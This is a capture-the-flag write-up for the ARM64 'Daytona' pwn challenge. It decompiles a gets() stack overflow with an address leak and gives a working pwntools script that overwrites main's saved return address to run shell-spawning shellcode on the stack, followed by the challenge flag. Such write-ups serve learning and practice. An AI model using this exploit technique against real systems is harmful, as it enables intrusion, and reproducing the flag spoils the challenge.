ctf-writeups

Daytona

Cops don't like it when you drive like you're in the Daytona 500 :/

    daytona

nc chal.sunshinectf.games 25606 

Decompile in Ghidra:

void vuln(void)
{
  undefined1 auStack_b5 [101];
  char local_40 [64];
  
  // zeroing omitted
  printf("The cops said I was going %llu MPH over the speedlimit :(\nWhat do I tell them??\n",
         auStack_b5);
  gets(local_40);
  return;
}

It leaks stack address and has stack overflow via gets. If we examine the stack frame, we find that, for the sp of vuln function:

So we cannot override the return address for vuln. However, we can override for main:

So we can override sp+0x58 to somewhere (e.g. sp+0x60) in the stack, since the binary has NX disabled. Then, we put the shellcode generated by pwntools there to get shell:

from pwn import *

elf = ELF("./daytona")
context.binary = elf
context.terminal = ["tmux", "split-w", "-h"]
context(arch="arm64", os="linux", log_level="debug")

p = remote("chal.sunshinectf.games", 25606)
# p = process("./daytona")
line = p.recvline().decode()
addr = int(line.split()[6])
sp = addr + 0x65
# sp+0x00 to sp+0x10: saved x29 and x30
# sp+0x10: gets buffer
# sp+0x50 to sp+0x60: saved x29 and x30 for main
# override sp+0x58 to jump to shellcode on stack
# put shellcode at sp+0x60
shellcode = shellcraft.sh()
print(shellcode)
# gdb.attach(p)
# pause()
# gets buffer is at sp+0x10
p.sendline(b"A" * 0x48 + p64(sp+0x60) + asm(shellcode))
p.interactive()

Flag: sun{ARM64_shEl1c0de_!s_pr3ttY_n3a7_dOnT_y0u_thInk?}.